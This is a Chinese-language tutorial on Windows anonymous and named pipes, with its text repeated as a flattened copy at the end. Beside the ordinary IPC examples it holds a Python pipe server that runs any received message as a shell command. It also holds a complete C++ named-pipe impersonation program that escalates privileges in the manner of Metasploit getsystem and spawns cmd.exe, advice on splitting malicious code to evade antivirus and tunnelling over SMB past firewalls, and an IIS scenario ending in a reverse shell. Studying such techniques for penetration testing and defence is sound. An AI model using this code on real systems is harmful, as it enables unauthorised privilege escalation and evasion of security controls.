Pipe管道利用
字数 1875 2025-08-20 18:17:42

Windows管道(Pipe)利用完全指南

管道基础概念

管道(Pipe)是Windows操作系统中进程间通信(IPC)的重要机制,允许数据在两个进程之间传输。管道分为两种主要类型:

1. 匿名管道(Anonymous Pipe)

特点

  • 单向通信:数据只能单向流动(从一个进程的输出流到另一个进程的输入流)
  • 进程关系:通常用于父子进程之间的通信
  • 使用限制:只能在同一台计算机上使用,不能用于网络通信

典型用例

  • 父进程创建匿名管道,并将其句柄传递给子进程,允许父子进程共享数据
  • 使用匿名管道从子进程中捕获输出(如命令行工具输出)

C/C++创建示例

HANDLE hReadPipe, hWritePipe;
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
    // 使用管道进行数据通信
}

2. 命名管道(Named Pipe)

特点

  • 双向通信:支持双向或单向通信
  • 进程关系:可以在不同的进程间通信,甚至可以跨网络通信(同一网络中的不同主机)
  • 命名机制:每个命名管道都有一个唯一的名称,客户端可以通过名称访问它
  • 并发支持:同一个管道可以同时被多个客户端连接

典型用例

  • 用于客户端与服务器之间的通信
  • 网络通信:允许应用程序跨计算机传输数据
  • 实现复杂的进程间通信

C/C++创建示例

HANDLE hPipe = CreateNamedPipe(
    TEXT("\\\\.\\pipe\\MyPipe"),  // 管道名
    PIPE_ACCESS_DUPLEX,          // 双向读写
    PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, // 消息模式
    PIPE_UNLIMITED_INSTANCES,    // 最大实例数
    512, 512,                    // 输出和输入缓冲区大小
    0,                           // 默认超时时间
    NULL                         // 安全属性
);
if (hPipe != INVALID_HANDLE_VALUE) {
    // 等待客户端连接
    ConnectNamedPipe(hPipe, NULL);
    // 进行数据读写
}

客户端连接示例

HANDLE hPipe = CreateFile(
    TEXT("\\\\.\\pipe\\MyPipe"),  // 管道名
    GENERIC_READ | GENERIC_WRITE, // 读写权限
    0,                            // 不共享
    NULL,                         // 默认安全属性
    OPEN_EXISTING,                // 打开现有管道
    0,                            // 默认属性
    NULL                          // 无模板文件
);

Python实现管道通信

服务端代码

import subprocess
import win32pipe
import win32file

PIPE_NAME = r"\\.\pipe\MyPipe"

def command_execute(command):
    """执行命令并返回输出"""
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        return result.stdout + result.stderr
    except Exception as e:
        return f"Error executing command: {str(e)}"

def start_pipe_server():
    print(f"Starting server at pipe: {PIPE_NAME}")
    # 创建命名管道
    pipe = win32pipe.CreateNamedPipe(
        PIPE_NAME,
        win32pipe.PIPE_ACCESS_DUPLEX,  # 双向通信
        win32pipe.PIPE_TYPE_MESSAGE | win32pipe.PIPE_WAIT,
        1,                             # 最大连接数
        65536,                         # 输出缓冲区大小
        65536,                         # 输入缓冲区大小
        0,
        None)
    
    print("Waiting for client connection...")
    # 等待客户端连接
    win32pipe.ConnectNamedPipe(pipe, None)
    print("Client connected!")
    
    while True:
        try:
            print("Waiting for a message...")
            # 读取客户端发送的数据
            result, message = win32file.ReadFile(pipe, 4096)
            print(f"Received message: {message.decode('utf-8')}")
            
            if message.decode('utf-8').strip().lower() == "exit":
                print("Exit command received. Closing server.")
                break
            
            # 回复客户端
            output = command_execute(message.decode('utf-8').strip())
            win32file.WriteFile(pipe, output.encode('utf-8'))  # 返回结果
        except Exception as e:
            return f"Client auto close: {str(e)}"
    
    # 关闭管道
    win32file.CloseHandle(pipe)
    print("Pipe closed.")

if __name__ == "__main__":
    start_pipe_server()

客户端代码

import win32file
import win32pipe

PIPE_NAME = r"\\.\pipe\MyPipe"

def connect_to_pipe():
    print(f"Connecting to pipe: {PIPE_NAME}")
    # 连接到命名管道
    handle = win32file.CreateFile(
        PIPE_NAME,
        win32file.GENERIC_READ | win32file.GENERIC_WRITE,
        0,
        None,
        win32file.OPEN_EXISTING,
        0,
        None
    )
    print("Connected to server.")
    return handle

def send_message(pipe_handle, message):
    print(f"Sending message: {message}")
    win32file.WriteFile(pipe_handle, message.encode('utf-8'))
    # 读取服务端的回复
    result, response = win32file.ReadFile(pipe_handle, 4096)
    print(f"Server response: {response.decode('utf-8')}")

if __name__ == "__main__":
    pipe = connect_to_pipe()
    # 发送测试消息
    send_message(pipe, "calc")
    send_message(pipe, "exit")  # 发送退出命令
    # 关闭管道
    win32file.CloseHandle(pipe)
    print("Client disconnected.")

管道在安全领域的应用

1. 分离免杀技术

管道通信可以用于实现恶意代码的分离执行,绕过安全软件的检测。其编程代码风格类似于socks代理的实现方式,都是创建、监听、接收、返回、关闭的基本流程。

2. 绕过防火墙限制

远程命名管道使用SMB协议(Server Message Block)进行跨主机通信:

  • SMB默认工作端口:TCP 445(现代SMB协议)或TCP 139(较旧版本)
  • 在防火墙限制很多端口时,可以选择445端口,因为大部分Windows系统的445端口默认放行

准备工作

  1. 确保SMB服务已在两台主机上启用(启用文件和打印机共享)
  2. 确保防火墙允许访问TCP 445端口
  3. 确保在两台主机之间建立了网络连接,并有适当的访问权限
  4. 可以配置命名管道的安全描述符(Security Descriptor)增强安全性
  5. 必须先将IPC$进行net use绑定才能使用远程管道

3. Metasploit的getsystem原理

基本原理

  • 命名管道是Windows系统进程间通信的一种方式,支持跨网络的通信
  • 当高权限客户端(如SYSTEM)连接到攻击者创建的命名管道时,攻击者通过ImpersonateNamedPipeClient冒充该客户端的安全上下文,从而获得与客户端相同的权限

攻击流程

  1. 创建命名管道:使用CreateNamedPipe函数
  2. 等待客户端连接:使用ConnectNamedPipe等待目标系统中的高权限进程连接
  3. 调用冒充函数:使用ImpersonateNamedPipeClient函数切换当前线程的安全上下文
  4. 提权操作:利用获得的高权限执行提权操作(如创建进程、修改文件等)

C++实现示例

#include<stdio.h>
#include<windows.h>

int main() {
    HANDLE hPipe = NULL;
    HANDLE tokenHandle = NULL;
    HANDLE newtokenHandle = NULL;
    STARTUPINFO startupInfo;
    startupInfo.cb = sizeof(STARTUPINFO);
    PROCESS_INFORMATION processInformation;
    wchar_t recv_buf[1024] = {0};
    
    ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
    ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
    
    hPipe = CreateNamedPipe(L"\\\\.\\pipe\\myServerPipe",
        PIPE_ACCESS_DUPLEX,
        PIPE_READMODE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        1024,
        1024,
        0,
        NULL);
    
    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("CreatePipe Failed");
        CloseHandle(hPipe);
    }
    printf("[+] CreateNamedPipe Successfully\n");
    
    // 服务端在这里会进行堵塞,等待客户端进行连接
    if (ConnectNamedPipe(hPipe, NULL)) {
        printf("[+] ConnectNamedPipe Successfully\n");
        
        // 用于使调用线程模仿通过命名管道连接的客户端的安全上下文
        if (ImpersonateNamedPipeClient(hPipe) == 0) {
            printf("[!] Error impersonating client %d\n", GetLastError());
            CloseHandle(hPipe);
            return -1;
        }
        printf("[+] ImpersonateNamedPipeClient Successfully\n");
        
        // 用于打开与当前线程相关联的访问令牌
        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &tokenHandle)) {
            printf("[!] Error opening thread token %d\n", GetLastError());
            CloseHandle(hPipe);
            return -1;
        }
        printf("[+] OpenThreadToken Successfully\n");
        
        // 复制现有的访问令牌,并允许对新令牌进行定制化处理
        if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtokenHandle)) {
            printf("[!] Error duplicating thread token %d\n", GetLastError());
            CloseHandle(hPipe);
            return -1;
        }
        printf("[+] DuplicateTokenEx Successfully\n");
        
        wchar_t cmdPath[MAX_PATH] = L"c:\\windows\\system32\\cmd.exe";
        // 在具有特定身份验证的情况下启动一个新进程
        if (!CreateProcessWithTokenW(newtokenHandle, LOGON_NETCREDENTIALS_ONLY, NULL, cmdPath, NULL, NULL, NULL, (LPSTARTUPINFOW)&startupInfo, &processInformation)) {
            printf("[!] CreateProcessWithTokenW Failed (%d).\n", GetLastError());
            CloseHandle(hPipe);
            return -1;
        }
        printf("[+] CreateProcessWithTokenW Successfully\n");
        CloseHandle(hPipe);
    }
    return 0;
}

4. 实际提权场景示例

场景描述

  1. 面对一个使用Windows集成身份验证的dotnet Web应用程序
  2. 可以使用弱本地密码访问Admin后端
  3. 在管理面板中可以指定记录用户活动的日志文件
  4. 从管理面板可以获取RCE(如上传.aspx文件)
  5. Web服务器在标准IIS AppPool用户下运行,默认具有SeImpersonate权限

提权步骤

  1. 为Logfile指定命名管道(\.\pipe\logfile)
  2. 获取IIS AppPoolUser的shell,创建命名管道并等待连接
  3. 模拟写入Logfile的经过身份验证的用户
  4. 如果是高权限用户,使用其令牌启动反向shell

关键API函数详解

  1. CreateNamedPipe - 创建命名管道
  2. ConnectNamedPipe - 等待客户端连接
  3. ImpersonateNamedPipeClient - 冒充管道客户端的安全上下文
  4. OpenThreadToken - 打开与当前线程相关联的访问令牌
  5. DuplicateTokenEx - 复制现有的访问令牌
  6. CreateProcessWithTokenW - 使用特定令牌创建新进程

安全注意事项

  1. 管道通信应配置适当的安全描述符,限制访问权限
  2. 在实现提权操作时,应考虑最小权限原则
  3. 远程管道通信应加密敏感数据,防止中间人攻击
  4. 生产环境中应谨慎使用管道通信,避免被恶意利用

通过深入理解和掌握Windows管道技术,可以在合法渗透测试、系统管理和安全研究中发挥重要作用。

Windows管道(Pipe)利用完全指南 管道基础概念 管道(Pipe)是Windows操作系统中进程间通信(IPC)的重要机制,允许数据在两个进程之间传输。管道分为两种主要类型: 1. 匿名管道(Anonymous Pipe) 特点 : 单向通信:数据只能单向流动(从一个进程的输出流到另一个进程的输入流) 进程关系:通常用于父子进程之间的通信 使用限制:只能在同一台计算机上使用,不能用于网络通信 典型用例 : 父进程创建匿名管道,并将其句柄传递给子进程,允许父子进程共享数据 使用匿名管道从子进程中捕获输出(如命令行工具输出) C/C++创建示例 : 2. 命名管道(Named Pipe) 特点 : 双向通信:支持双向或单向通信 进程关系:可以在不同的进程间通信,甚至可以跨网络通信(同一网络中的不同主机) 命名机制:每个命名管道都有一个唯一的名称,客户端可以通过名称访问它 并发支持:同一个管道可以同时被多个客户端连接 典型用例 : 用于客户端与服务器之间的通信 网络通信:允许应用程序跨计算机传输数据 实现复杂的进程间通信 C/C++创建示例 : 客户端连接示例 : Python实现管道通信 服务端代码 客户端代码 管道在安全领域的应用 1. 分离免杀技术 管道通信可以用于实现恶意代码的分离执行,绕过安全软件的检测。其编程代码风格类似于socks代理的实现方式,都是创建、监听、接收、返回、关闭的基本流程。 2. 绕过防火墙限制 远程命名管道使用SMB协议(Server Message Block)进行跨主机通信: SMB默认工作端口:TCP 445(现代SMB协议)或TCP 139(较旧版本) 在防火墙限制很多端口时,可以选择445端口,因为大部分Windows系统的445端口默认放行 准备工作 : 确保SMB服务已在两台主机上启用(启用文件和打印机共享) 确保防火墙允许访问TCP 445端口 确保在两台主机之间建立了网络连接,并有适当的访问权限 可以配置命名管道的安全描述符(Security Descriptor)增强安全性 必须先将IPC$进行net use绑定才能使用远程管道 3. Metasploit的getsystem原理 基本原理 : 命名管道是Windows系统进程间通信的一种方式,支持跨网络的通信 当高权限客户端(如SYSTEM)连接到攻击者创建的命名管道时,攻击者通过ImpersonateNamedPipeClient冒充该客户端的安全上下文,从而获得与客户端相同的权限 攻击流程 : 创建命名管道:使用CreateNamedPipe函数 等待客户端连接:使用ConnectNamedPipe等待目标系统中的高权限进程连接 调用冒充函数:使用ImpersonateNamedPipeClient函数切换当前线程的安全上下文 提权操作:利用获得的高权限执行提权操作(如创建进程、修改文件等) C++实现示例 : 4. 实际提权场景示例 场景描述 : 面对一个使用Windows集成身份验证的dotnet Web应用程序 可以使用弱本地密码访问Admin后端 在管理面板中可以指定记录用户活动的日志文件 从管理面板可以获取RCE(如上传.aspx文件) Web服务器在标准IIS AppPool用户下运行,默认具有SeImpersonate权限 提权步骤 : 为Logfile指定命名管道(\\.\pipe\logfile) 获取IIS AppPoolUser的shell,创建命名管道并等待连接 模拟写入Logfile的经过身份验证的用户 如果是高权限用户,使用其令牌启动反向shell 关键API函数详解 CreateNamedPipe - 创建命名管道 ConnectNamedPipe - 等待客户端连接 ImpersonateNamedPipeClient - 冒充管道客户端的安全上下文 OpenThreadToken - 打开与当前线程相关联的访问令牌 DuplicateTokenEx - 复制现有的访问令牌 CreateProcessWithTokenW - 使用特定令牌创建新进程 安全注意事项 管道通信应配置适当的安全描述符,限制访问权限 在实现提权操作时,应考虑最小权限原则 远程管道通信应加密敏感数据,防止中间人攻击 生产环境中应谨慎使用管道通信,避免被恶意利用 通过深入理解和掌握Windows管道技术,可以在合法渗透测试、系统管理和安全研究中发挥重要作用。